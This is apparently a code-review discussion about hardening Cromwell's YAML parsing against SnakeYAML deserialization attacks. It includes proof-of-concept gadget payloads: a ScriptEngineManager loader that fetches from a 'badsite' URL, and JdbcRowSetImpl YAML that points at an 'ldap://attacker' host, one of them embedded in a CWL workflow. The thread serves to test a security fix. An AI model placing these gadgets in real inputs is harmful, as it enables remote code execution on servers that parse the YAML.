Use best practice YAML parsing. Add security contact to README. [BW-833]

[aednichols]

It looks like upgrading from Constructor to SafeConstructor does not make much difference, Cromwell errors out and refuses to proceed with a similar message in both cases. But it seems like a good move anyway.

With SafeConstructor:

java -jar /Users/anichols/Projects/cromwell/server/target/scala-2.12/cromwell-70-1a6c161-SNAP.jar run test3.cwl

could not determine a constructor for the tag tag:yaml.org,2002:javax.script.ScriptEngineManager

With Constructor:

java -jar cromwell-69.jar run test3.cwl:

could not determine a constructor for the tag '!!javax.script.ScriptEngineManager'

[mr-c]

It looks like upgrading from Constructor to SafeConstructor does not make much difference

I wonder if it is due to Scala not having a javax.script.ScriptEngineManager or other difference in class loading?

Previously we (cwlviewer) were using a plain Yaml() object which defaults to the Constructor: https://bitbucket.org/asomov/snakeyaml/src/5e41c378e49c9b363055ac8b0386b69cb3f389d2/src/main/java/org/yaml/snakeyaml/Yaml.java#lines-66 and this led to the vulnerability.

Perhaps you can construct a Scala proof of concept (and therefore test) by serializing the Scala equivalent of

URL[] urls = new URL[1];
urls[0] = new URL("https://www.badsite.org/payload");
ScriptEngineManager foo = new ScriptEngineManager(new java.net.URLClassLoader(urls));
yaml.dump(foo);

https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf suggests the following yaml to try as well:

!!com.sun.rowset.JdbcRowSetImpl
   dataSourceName: ldap://attacker/obj
   autoCommit: true

[aednichols]

Thanks @mr-c, I modified the example a bit to be compatible with the classes present in our JVM and I do now see a difference between Constructor and SafeConstructor that suggests we could have been exposed before the change.

(Deliberately ommited autoCommit because it seems to be unsupported in our JVM and causes a much less interesting error.)

cwlVersion: v1.0
class: Workflow
inputs: []
steps: []
outputs: []

hints:
- class: foo
  bar: !!com.sun.rowset.JdbcRowSetImpl
         dataSourceName: ldap://attacker/obj

Old Cromwell, workflow succeeds with just some extra log messages:

WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.yaml.snakeyaml.constructor.BaseConstructor (file:/Users/anichols/Downloads/cromwell-69.jar) to constructor com.sun.rowset.JdbcRowSetImpl()
WARNING: Please consider reporting this to the maintainers of org.yaml.snakeyaml.constructor.BaseConstructor
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

../../../var/folders/xj/rglhyd6s2lbbrz8r53vn_rww0000gp/T/cwl_temp_dir_8673604963791319219/cwl_temp_file_ef439db0-21c5-4035-87b2-0613819fc113.cwl:8:3:   checking item
../../../var/folders/xj/rglhyd6s2lbbrz8r53vn_rww0000gp/T/cwl_temp_dir_8673604963791319219/cwl_temp_file_ef439db0-21c5-4035-87b2-0613819fc113.cwl:8:3:     Field `class` contains undefined reference to `file:///var/folders/xj/rglhyd6s2lbbrz8r53vn_rww0000gp/T/cwl_temp_dir_8673604963791319219/foo`

New Cromwell, workflow is rejected:

Workflow input processing failed:
could not determine a constructor for the tag tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl
 in 'reader', line 9, column 8:
      bar: !!com.sun.rowset.JdbcRowSetImpl
           ^

[kinow]

🎉